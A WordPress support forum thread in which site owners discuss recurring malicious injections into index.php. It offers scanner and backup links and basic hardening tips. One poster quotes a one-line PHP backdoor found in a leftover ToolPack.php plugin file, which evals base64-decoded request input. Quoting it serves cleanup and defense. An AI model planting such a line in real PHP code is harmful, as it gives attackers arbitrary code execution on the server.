    There may be no easy solution. I've combined as many links into one post so that you won't have to search the entire web indefinitely. Hopefully they will help you.

    Check your site(s) here:
    1. http://sitecheck.sucuri.net/scanner/
    2. http://www.unmaskparasites.com/
    3. http://www.virustotal.com/
    4. http://www.phishtank.com/
    5. http://www.browserdefender.com/
    6. http://ismyblogworking.com/
    7. Google Safe Browsing (to access a site's google info, add their domain to the end of this):

    Backup everything and put that backup somewhere safe.This is in case you have problems later on. Even though you could be backing up infected files, it is more important to have a backup up of your work, for if you make a mistake cleaning your site, you will still have the backup(s).

    2. http://codex.wordpress.org/Backing_Up_Your_Database
    3. http://codex.wordpress.org/Restoring_Your_Database_From_Backup

    I have the same issue, all my index.php are keep on being injected with the malicious code.

    I found an old plugin folder that i have uninstalled in the past, the folder is empty except to a file called ToolPack.php and it had a line of code:
    $_REQUEST[e] ? eVAl( base64_decode( $_REQUEST[e] ) ) : exit;

    I have removed the folder and now i am waiting to see if the malicious code is back.

    I have found out that this is could be the backdoor:

    Will update you soon

    Hi All,

    Just reporting that it was timthumb/blackhole exploit and I do not know anymore how to fix it. In the end my boss hired a security expert to fix this.

    But it looks like they are also having difficulties. Do you think re-installing everything to a different server will fix this?

    Best Regards,

    Randy A.

    thanks for updating more regarding topic.
    secondly i heard about tool pack plugin which is one line plugin
    and causing some other people site as well and they mentioned this.
    After removing this plugin everything is working perfectly and i upgrade 7 blogs as well which are out-dated.

    simple tips

    upgrade blog + plugins
    apply recommend file permission
    -install file monitoring plugin to keep eye on file and
    -install firewall plugin
